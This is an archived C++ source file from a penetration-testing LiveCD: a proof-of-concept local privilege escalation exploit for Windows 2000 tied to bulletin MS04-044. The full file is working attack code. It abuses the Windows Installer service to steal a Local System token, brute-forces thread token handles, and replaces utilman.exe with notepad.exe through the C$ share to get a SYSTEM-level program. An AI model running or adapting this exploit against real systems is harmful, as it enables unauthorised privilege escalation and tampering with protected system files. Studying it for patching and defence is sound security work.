home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / ImperExploit.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  70 lines

  1.  
  2. // Impersonation POC Exploit
  3. // Works on Win2k all service packs
  4. // by Cesar Cerrudo  (sqlsec>at<yahoo>dot<com)
  5. // http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx
  6. // (*1*) If it doesn't work try again and research yourself. Don't ask me.
  7.  
  8. #include "stdafx.h"
  9. #include "windows.h"
  10. #include "stdio.h"
  11.  
  12.  
  13. #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
  14. #define PATH_SIZE  INFO_BUFFER_SIZE + MAX_PATH + 4
  15. typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine);
  16.  
  17.  
  18. int main(int argc, char* argv[])
  19. {
  20.     HANDLE hToken,hThread;
  21.     HMODULE hMsi = 0;
  22.     CHAR  infoBuf[INFO_BUFFER_SIZE];
  23.     DWORD  bufCharCount = INFO_BUFFER_SIZE;
  24.     CHAR file1[PATH_SIZE]="\\\\";
  25.     CHAR file2[PATH_SIZE]="\\\\";
  26.     CHAR file3[PATH_SIZE]="\\\\";
  27.     
  28.     //Get name of the computer. 
  29.     GetComputerName(infoBuf, &bufCharCount);
  30.     
  31.     hThread=GetCurrentThread();
  32.     hMsi = LoadLibrary("msi.dll");
  33.  
  34.     //Invoke windows installer service in order to steal a Local System account identity token.
  35.     //Curious? some internal LPC magic here, see *1*
  36.     PFnMsiInstallProduct MsiInstallProduct = 0;
  37.     MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA");
  38.     MsiInstallProduct("","");
  39.    
  40.     //Get Local System account identity token and set it to current thread
  41.     hToken=(void*)0x1;
  42.     while(SetThreadToken(&hThread,hToken)==NULL){
  43.         hToken=(void*)((int)hToken+1);
  44.     }
  45.  
  46.     strcat(file1,infoBuf);
  47.     strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");
  48.     
  49.     strcat(file2,infoBuf);
  50.     strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");
  51.     
  52.     strcat(file3,infoBuf);
  53.     strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");
  54.  
  55.     //Replace Utility Manager with Notepad impersonating Local System account
  56.     //BTW: fuck Windows file protection :)
  57.     if(!CopyFile(file1,file2, TRUE))
  58.         printf("CopyFile() failed: %d\n", GetLastError());
  59.     else
  60.         if(!CopyFile(file3,file1, FALSE))
  61.             printf("CopyFile() failed: %d\n", GetLastError());
  62.         else {
  63.             printf("\nPress WinKey+U to run Notepad as Local System\n");
  64.             printf("Remember to restore original utilman.exe from utilmanback.exe\n");
  65.         }
  66.  
  67.     Sleep(5000);
  68.     return 0;
  69. }
  70.